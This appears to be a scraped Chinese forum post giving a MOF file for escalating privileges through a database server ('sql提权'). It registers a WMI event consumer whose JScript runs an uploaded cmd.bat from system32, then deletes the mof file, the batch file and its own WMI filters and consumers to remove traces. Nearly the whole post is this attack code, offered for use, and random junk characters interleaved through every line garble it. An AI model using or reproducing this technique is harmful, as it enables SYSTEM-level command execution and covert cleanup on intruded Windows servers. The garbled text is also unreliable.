这个sql提权MOF需要运行 system下的文件,不能定义路径。
' X/ k* f& C s p需要将要运行的命令写入到bat上传到system32目录,然后执行。7 t4 K% R2 w, v4 U: |+ P
: f# o9 [/ y/ |5 J
这个sql提权MOF需要运行 system下的文件,不能定义路径。
* X- A: Q3 T4 S; ], Z2 ^( S/ Y( t需要将要运行的命令写入到bat上传到system32目录,然后执行。& }: P: `( c0 y/ D# N: b
+ V2 O; y& {% C( g7 M! ]* t
#pragma
9 @% U, ]$ H! v0 { namespace("\\\\.\\root\\cimv2")- H2 n0 l4 K6 F, }' K6 X) W
class
. |9 R* d9 |5 u9 {" ~ MyClass5472 f* p% Y2 ?* _7 f
{ [key]
; j2 @( X1 o) n; d& ?) b string8 L% U, |% o3 ~6 n! J# z1 D
Name;3 Z# Z+ P0 [ h, c/ d; o' H
};8 |3 f$ }1 s3 z$ c* V# f. {
class
9 z' u; w6 q8 `9 I+ D% Y6 H ActiveScriptEventConsumer6 e0 X" b o6 l# W b4 q; M* p& Y( n
: __EventConsumer { [key]5 h) F, K) n; I7 V' G
string9 i" y. [) i$ C' C& e; _
Name; [not_null]4 w) x; D& k4 E
string
! ?: ^6 v7 C7 X1 V ScriptingEngine; string" Q3 G% ?, H8 ]1 L
ScriptFileName; [template]
+ P) O8 H$ w8 n3 t7 z string) B, V. g# Y' o4 a# e
ScriptText; uint32 KillTimeout;
2 k% s6 z% }9 A- } ? }; instance of __Win32Provider as $P {
/ }2 T% J; s3 c Name- q1 F9 q2 B& J- _1 y& L5 o
=
( n6 Z4 h4 n3 G9 Y: P& K' n" N "ActiveScriptEventConsumer"; CLSID =
- i$ s: f2 {) F "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";; P2 O) O+ }+ @" v4 y0 [/ t
PerUserInitialization
3 j" b" a# a6 q+ W = TRUE;
# t f( G1 q9 }/ o4 Z2 O1 X2 r l }; instance of __EventConsumerProviderRegistration { Provider2 u" q; W. g( |9 b2 [% o! Z$ z: W C9 R
= $P; ConsumerClassNames H% z: n0 L# A5 j: N5 x- o
=
! [& u. H5 \9 J1 T3 n( H1 G {"ActiveScriptEventConsumer"};
! B4 ^; @- k' T9 f& |. b& p };0 |- N: T5 E J- x& v0 ~: ]- g z9 L
Instance of ActiveScriptEventConsumer6 ~9 @* N. [& e9 M: A/ o
as $cons { Name
; |% J: @. q5 ~+ t4 y* I =
% f: ?# W+ y# C7 k$ | "ASEC"; ScriptingEngine
9 L. Q+ w1 Z" d =
, g2 p# J1 [/ d1 u$ J "JScript"; ScriptText7 A6 g8 ^3 _6 x l
=( i% l5 U* u) C; l! a
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
3 ?$ ^6 e# O* w/ w Instance of ActiveScriptEventConsumer" o; m8 i& C' S R
as $cons2 { Name
0 u3 V1 w! ~2 O/ e =
: l. D! `- Y' o! s8 \ "qndASEC"; ScriptingEngine
! W# G) m' q. w( { Y" W% n8 { =
) M+ F$ f- [) [2 \" Z+ h "JScript"; ScriptText8 \9 s( k' [' ^5 w' {0 u3 @, `' K1 e
=& N" T% Y* V6 U2 ?
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";; p2 M! c8 J; T; v: E
}; instance of __EventFilter as $Filt { Name) O* r" R1 @! k7 c; c: S
=- _# `$ w4 ?' G# e0 g2 }
"instfilt"; Query
0 ~: M7 g) B# w$ F8 ?! I3 o, M =
. f, |8 p* _- g "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage! I3 K% z* E2 G" P, m3 I
=: R" C3 y# T8 |2 v8 L2 l3 F
"WQL"; }; instance of __EventFilter as $Filt2 { Name7 }* [# o" L1 h6 u7 J
=0 q, X7 ?& L* _& N# q- E& E
"qndfilt"; Query
7 [; S' \7 T+ `% Z* r3 f4 K0 g( h =
; ~1 @6 c, e/ o: v "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage/ i. ^4 B% H! C% X0 @/ }7 J
=
0 Y9 s" \+ Z; ] "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer6 u8 C1 l: F& f8 O [
= $cons; Filter% n, W0 j% u% }& j) q- E0 Z
= $Filt;) r; w1 b* f) Q) I3 D
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
) k& O& t! u& U1 h7 s5 x8 O = $cons2; Filter
" `; z; d2 M* x0 g' g1 }6 Z = $Filt2;
% ~8 T5 c5 k% B$ [6 K' _ }; instance of MyClass547
2 [) N( x, g6 e7 s7 z7 { as $MyClass { Name
& P; q: H1 E/ K* u" h =
; b4 p; i7 C4 o0 d "ClassConsumer";
6 m X6 _' ~& x2 N6 m }; |